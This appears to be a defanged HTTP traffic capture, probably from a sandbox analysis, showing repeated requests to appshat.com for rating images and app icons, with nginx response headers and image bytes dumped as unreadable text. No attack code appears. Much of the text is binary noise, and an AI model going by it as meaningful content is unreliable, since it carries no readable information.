........'..)....`n.e 2.f....S...........P..G?.zi.(..I........a.S...B..
<.....cID...a ......._.'.c....!g..=.R.....i.J....:[email protected]
5.Y[gG}....J...i..\p......y8....(.Qg.H...3x.....OD..x,..Ec.h$.....h\I.
..).....$......D,...D(.@%. ."..f..e...t9.^...r..^...qI.D........T....R
.."I..lvrz....h...P;.8.........pa...B...4strL.L.".us.i...0...}F.B.....
.......\... D.#...?Uf..M.9.......Y.e.6.F...K..D..U..;wr..-RM..M..P'...
..=...'..._|........315.,..nH..6...s.....A^.y.%.\.:._J.R.Lb6...9Y....&
lt;...Y.9......*.....  ..U&N.U.....^.R..dQmC....TUcL.9...!.a.J)..T5...
..........@4.@!.v{..].......|^...r.....!..$I._I.V...7..jBpMc..TU....h4
............?..D...!...........}^..f...g...T.4.Pb...X|lp....=.... ..7.
.......A._0k~.......B7..9>M.......uV........sl....kc.X.......U...,.
uS..QR..B9A."M...........o..?....*/D.S).D......., .Hyz.|X.9A .yI.t...0
?..{...e`2...$j.....Tb...b.9.)....v..X.$....8;...}.h.`[email protected]
..T..H(%...F..f.F.......ER[QVW[UW_S^^RT\T\T$I.....s..O .iVla...S=.`..)
A"@0...P.....................,.....,..ym.....0...!.M........u..G.Vy.]f
o[.2..Ad..l...p..6'fj..a..L.3..T...:.....2..k/.o....Y..p.7,..&Rczd<<< skipped >>>

GET /images/5.0stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/jpeg

Content-Length: 2286

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-8ee"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E712C81ACD1411E29568FF5E7
C4F2C36" xmpMM:InstanceID="xmp.iid:E712C819CD1411E29568FF5E7C4F2C36" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!..."..12BA&Qq.b3c...............
......!...1A..a2....Q"B%q.R.#.b.$..............?....3s....b.v..Q@...\g
.F^.v.G.`$.*.yAiX.........?o.%<........OST.n.m...:?.Q.W2EF*"".....F
./.....w.tl.!..=..I-J.U^J.R.Y...y.j.B.}Z"_S..0.~..xT.f.Q..W"x.:...X>
;.O/../.%zO.......f.~x*.O..D.$X....w..ZJ..o)'.Kq.|.E..Qr.T2bPu..1..x?N
j...!59.yK...B"[email protected].$.u..dI&..Vg..2.$..&'..X..\<.....h....<<< skipped >>>

GET /thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 309779

Last-Modified: Thu, 13 Jun 2013 17:05:34 GMT

Connection: keep-alive

ETag: "51b9fbde-4ba13"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 41466

Last-Modified: Thu, 13 Jun 2013 17:56:48 GMT

Connection: keep-alive

ETag: "51ba07e0-a1fa"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs.........B(.x
....tEXtSoftware.VVV.inkscape.org..<... .IDATx...wx......]....{....
.j.)..K.@B .` |..PB...K.....j:..eS....{..%...|.l....{ggvg..{....9..; e
.{.=...$..A..A..\...A..A.....A..A.BH...A.D/...A..A.BH...A.D/...A..A.BH
...A.D/...A..A.B<...A..A..s.......?x.....v...N.$.. ...y,...o.U.....
...p{<..v.V...A......W7.v......;.......1.....l%[email protected].=.....{..~./..
>._T..l.|[email protected].=..v=.....k....^n..`.... E..$... ."..a..'....k.q
[email protected].. . ..1h.....@...../.VB... .....c!..
...0~.a..V..c:i.4........J["$... .....B..S&_:..i........Y|.!.....@....
[email protected]=1P\t....E.WK.D#...~...
.....A....{.I..J.o)..........~....0....I...A.........J.o/.............
..k.......9....A.....O......[.k..c..!I.......|.....M......A..A..[.;...
....}j.r.\...:........P.s..... .. ....N...V_.,-...q.s9q...../.\..}....
9q.2..A.....c!6...fT......[[email protected]%....7)
...aC.Q... .. ..................~.DQ.|.^.....`Y..}.9}...... .....O8...
.........UhGQ..I.....w..(... .. ..........o ........`.E.....j.$... ...
.?.......`Y.TC.,...P..c.?x...... ......8.....&_....8........{...V.....
J}eP.....(......>TD...$.}...(.... .. ..?...*........`,u......e?..._
Wk.{8.A^@..f.\[email protected].:.. .. ..]S....e.LoA.$]C. .E|..6.....)..}.,/
[....T.H..A....=..............u%z{...h.p.B....x....@..]>..V.#c(.@..
A.........<..U.)/..M..\x...3....-....s.6t.K`..5....E......A...#....
q.U..=>.p.ueu?o...R_..^.>.J.........&....U....~.|...A...u...<<< skipped >>>

GET /thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 48422

Last-Modified: Thu, 13 Jun 2013 18:07:09 GMT

Connection: keep-alive

ETag: "51ba0a4d-bd26"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#[email protected]..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..][email protected].<......%b..0..>[email protected].@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~.~V.y.s..
....K.X.........y..r....:.#....y=......}.........([email protected].>.|.
./....%..3... cHRM..z%..............u0...`..:....o._.F...SIDATx...w...
.......;..B.J...6QH.....5`c..6..`Lr.........}[email protected][email protected].....
........ .V;.3........l......y..=l.....q....4f>...../....RJtuu...|.
W]sM.5..{...[.....9{...N.D.(a.....Y(4Q....8/_.)a.%!.< %X(.mX7.V<<< skipped >>>

GET /thumbnails/icon/images/assets/b/b/bbbde9554589bda63791709a6785e0a3.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:32 GMT

Content-Type: image/png

Content-Length: 174229

Last-Modified: Sun, 14 Jul 2013 15:20:23 GMT

Connection: keep-alive

ETag: "51e2c1b7-2a895"

Expires: Sat, 18 Apr 2015 08:06:32 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#[email protected]..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..][email protected].<......%b..0..>[email protected].@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V<<< skipped >>>

GET /thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

GET /thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523



 .....o.E.L... c..$.X.Hj..u2.. ...#q........n.{h..x_VVN....Ol..h)&.[..
.K^..VV.>.f.M.&@|...vZ(.3c......d...x...d..V$.m..B....j.!....8.6...
k_.>.{:.Ba....3&...a4g`...!...C..VWW.?...i..n,.$....aK...........dy
.~..Cg../~.w.&/....t....\.l0...i..j.g...1.$.4......X...V..Y.Zr..vJZ..|
Ta..k..f.t%....b1.....p.......A.U.g.>_%8...mW.B..9dHV....`.b&&.R.y.
$]...F......:.k&....E.;u.4...K.......,[email protected];U...Q....W..~H..$Y,.
:k.qQ..#a.l.A..Kc....%?.....7t..|G........}6./......TFtS.Q#.n.-t>..
:..d.;[email protected].'.R.C....."...A..%....S.A%....H.{....;.N.q..YQ:....6....
.&nv#W.Q.0...:I.G.*.k..y..=..^......*........Ks\...7S.I....>..5...R
...3$.s....k.K.U.;q..........t..h./l....2p!.?.....x).]..N.\#.u...'%.*.
wp..$.Gc..8.......'.S.\qkq..A....C.b...8R..!|.-....Y.`..k...Ll.i..=.gT
...............0.. .{}3..........z.../....?C...A.G^..Fk.&..r..?.Ui.r..
,;..T.'.]...u...66.J....rn2.J..y-......... <k'..{'.z....A..........
B.7t..|4Vq..[....v..24/..3.IX....{........#[email protected].
..B-.6$K.......^L...H.%M....N.8g.Mv.]....c.......}.Z/....2..o....]^...
z......L,.&.J...M...|..o.O>...DE$%[email protected]^.>....q&
lt;...}O|S,bz?;.e...j...kJ&.;0...GF. ....Qj.Yb.O.9y..F../...7..%#.T.T.
[.D.., y......wY..)?0.....H!.2.z_.~.I]..a.S.[.-.K..w..&...n......[x..Z
.%a.V7\......d..-... ..v...g....'h....YyV..Hk}...g2.y;.3...w..vG..3$..
;.Q.if.j..i..Mr..X.....I...N..].m....&.......|/9.....n.dEg...rc)......
..6...uK.F.!..]......._|.....!.F.....1$.H\..sn.-o..C$1.Q...C..nJ.J..=.
....5?.s=.K\......E................*...^j..._[[3..w.t.L\ ..G....@.<<< skipped >>>

GET /images/3.5stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

GET /thumbnails/icon/images/assets/5/8/58d196b3e886a838d021adc8c8848f1e.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

GET /thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/png

Content-Length: 24626

Last-Modified: Thu, 13 Jun 2013 17:46:11 GMT

Connection: keep-alive

ETag: "51ba0563-6032"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:9247670438B3E211AC72D899932DBE6B" xmpMM:DocumentID="xmp.did:E7AB
8047C2A611E298A7FDC45846E498" xmpMM:InstanceID="xmp.iid:E7AB8046C2A611
E298A7FDC45846E498" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2A4978B7FB5E211AC72
D899932DBE6B" stRef:documentID="xmp.did:9247670438B3E211AC72D899932DBE
6B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>I.....\bIDATx.....U...O7.....i.h. [email protected].
.......L..$U.8F3&5Ve,M.L.L.8..N......\...7.(c.\@eW.F.n...i......}.\.^.
..........h..g{...V.9r..CEE...=..gU.....u.^...................?C..B...
8.P..F......o.xg.....K..([email protected].}.o`..0(..
....N.D..D(.0............bD.x.4..?..sx oB...Y....=.....:....@....^.F.q
.....X..O)...pd Fq...D.(`[email protected].`...0...........L.........{4.Q.Z ..
.......<.).{@.. . ..i........3A]....SS.....E9....k....L.....`%.....
..........@.@F...<|......).@[email protected][email protected].<....<~....<<< skipped >>>

GET /thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

GET /thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523



...o.....q.N.H............*.u.Y$ T..y.&....c....S*Ot.. .;K....?.......
...gUS.g..`..?.../.'...:...}....C..K.s].(/. ..q.q./..i....1.......P...
.....4.y._g.....?7.....*a.."....ww..w....}${7p.....K..xex...<.....e
...7../. ..A..W%..X....cc`......7.B.x........a.t..........?....0......
./.G.....1 .....I..?2....[....".!.....~.......l......R.....S.z.w..".?Z
[email protected]....!......8..D ..U.P?@@[email protected]. ........
..'.........GJ.O..$.G.8....H..P..-GV.......}~...C.lK.J......'d........
...r....._.L_.4.....'.7-.G.........$..r..<c..#.?..L...?.....=?...nT
....^..3..v.$..k. ...:|..M.....[.uI9....=.J..kPX....}.b..../\.K..X..Y.
3..f?<......x....M...?..C._g.......m..O.....D..^.?.:...R.h..,......
....?y./..i..j).g<.\..8...SGTP..b..o\W^..I.!......A...%.E..4...&@%.
.kf......<.@;.......@I@@.4........1 U.l..........p#.*.;4.8.......L.
..T.....@w$.:......8.o...../...;. ..{x..........D.@...._I.#.?....>:
.7...."[email protected] \.T..`....w_.a...G...x....!......?..V...g;...t....w.^...@.
X..9.......!...A..$.Q.....w..@5...&.' L...i.`..... .9..Y....?...\.....
... ~..-.....3....`....D...H....|......A...Ec.*...Cu A..R..t.....q/\.K
.>@.j..r...5....^....|....e..U..|.....u..y.#.q..*..~G.R3.:...?..q.1
.8........?......:.........4.v#...........q.?..l./..qI.q..^J8.F.......
...*`._A.^]A..XA..SN^.)M.... ......".!.X......jd...u.......;X.........
....`..&...........4.G. ....G.......o..>~...........".....lU.......
...,....(.............(..H..F.2......J/.G....=..........;.,......(..k.
..P.VQ..*[@.>!.xa.........I........Gy....C..<....r...0....?.<<< skipped >>>

GET /thumbnails/icon/images/assets/4/4/442a5f30204dd385d17de5848683274f.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523



.QQ.u....W.d4.`{..=_......r.?...C....}..$5...3.Bf..!{.....;_.......P'.
.yo<K0(...w.V.S.Rp.M ~.n~.i.f$.=...n.......X8.a.P)...<"f.o....?.
..v%.W.;....F....I_....g...y.....U.;.e.<.<0....8.3.P..,.\......o
..}...u.w.nz..4/.E.... ....o$.Q..\&,..h.D.t..?.1M$.....nb.W8....K..L..
............>F"./.j.......js....xc...........q.9..........=...I.{._
....F.i..V._.......h.O...a~A.N.,..L....P......ET2.........&..A..nh#.U.
.........I...0...d..:......\8p....^!...}.b$..G.......*T.r......j. ...;
.]gc&......K.,....I...DA.....h...I .W..%b..l..zx...U=........y...C...s
...........j..s..z..D(H.O..$AV..!. W....Uh.."......S/j.o k.^.S.|....X.
..J.2".$F.LkX...H....O].?..........%...,'.X.R....~.K...oM...X....OO...
l..^.R..S. .Yl8.bK._...H.BB.....$.s..5n.n..,jN..V.....5sO..v..R....fI3
ZT..[......}wn.w.?ql.~.....n.r.t.<4..V.[.....'...|x..K........g.[..
."V....,jrE[.o.dr...9.:C]hL".i..C.. ..A.!.q...X......S.K...F.d}.T.R|d.
.....^[email protected].#..`.k...A.<..O.,y...!.N.Oz.V.6.d
p.....D .Q;.^.*.Y.g.\..!.B...P.`\...~W.N............... .....'...W....
.....rQ......).<.t.}_*.*.;..^W..i.<.....3.R.J.....M..-...9..B.(.
=...A.f..z].&.s..../.......]a.....<.?. .a.A..g.$.04..s()G..'(K.R5O.
~2%....U ...r.~.1.~.].Y.^.... ...5....)mC....n.....cN.&....}........*.
9.|..u...K_.......'........}...$...G....FT&..>c..y/.8..;&T.....`.m.
...a.Wiu..N...|.....r.....[...WLu...........x........7...._..L.i......
....Q.M.....-..9y.I=s..w...la.M[.9re.(}Mj...........D)m..{...b.0J._.".
.a.~&.M3.;V.....h"-..0...jz....f.`.......N....*pcodw.{.%...D.L.'..<<< skipped >>>

GET /thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523



...dZ...p_.j...r [email protected]..(p...p..%...D.....06l.`1)..[7......
4OJ7Q.....7.}..O..D.4.?...$..z.In{.:...m..&...(..b.....\0..W.<....B
G.V...=.x=K:...}....y.N..q.}..hQ.rE.[.....,b.2.rUm..K...r.].v...,.....
! V..^...1..l.:#J......'.>..9.BL..6T<..A...!.v...D...I^....^....
w ]..c..E.WY..7&9.w,|....R..c...S...........Q ....T{_.w.9..>....?..
..O~.>./..<.}..?y.S.c.MN}..B5..u..&VO...b.L#..[.. fp.......`Z8.\
...aT2.v..aYz2.......5..Y..0..C.C.......0U;[email protected]>C,.J
....v....K...i.....FXk.1.6..3.pn.....;.'x=$:e...rK....$.1....%..m... .
.[.7...S.....&.....\....'N..Da".l..m..|.....S... .....W.`.Mq." ...(`..
...B|...u. Q%_UN..HB.....^.F......F.....q.7b-c.p=^....w.L...K....5=.5.
(..#P... A..K.{8.....lg....i.0..s..6.._u.....Y...L..i.4z.<.[ba.I.u|
...~.G..u..;..o.!...`K.A....<_.H.....o.....".......lD...L.m.k..I8 .
.w....":.Gh..s..^.%.uC.Z......*...........W........l..55w......(...p7M
y,.QS4.S(.1..YR...u..e......`.h...f$m...U....p....(.....8S....l.h..r..
.KDiU..:%....._....".#...c......=.b..~...hS.I....0..q.........wR.[....
..J ZU.3.* T...OOq.a.Qk~:...?.S.......;...... W.r.D.K..qF..r...K.`..U;
(P.t...<.b...a...i......[/.._.d..m....=.t.@o,u.m...- ..,....?.t....
{p.}...$3.....L|.xbP[.6>.hU.8Pi.<[email protected]...*........
./a..9n....2..(....XV..` .k....v..._..........}|...../..y.it>..7...
)&...I?.,.... ..t`x_.1.iGi.S...g~adF{.O....#......n@.^.^...%.R.%.aq.K.
.....la47Lw#Y..'....t.)I<.d.....;...u...k.H.~..`Z~.mto`U......<.
C@g%....`g...a0UI..e...L...a2.k$.-]........d/V..02!....m.....4.v..<<< skipped >>>

GET /thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


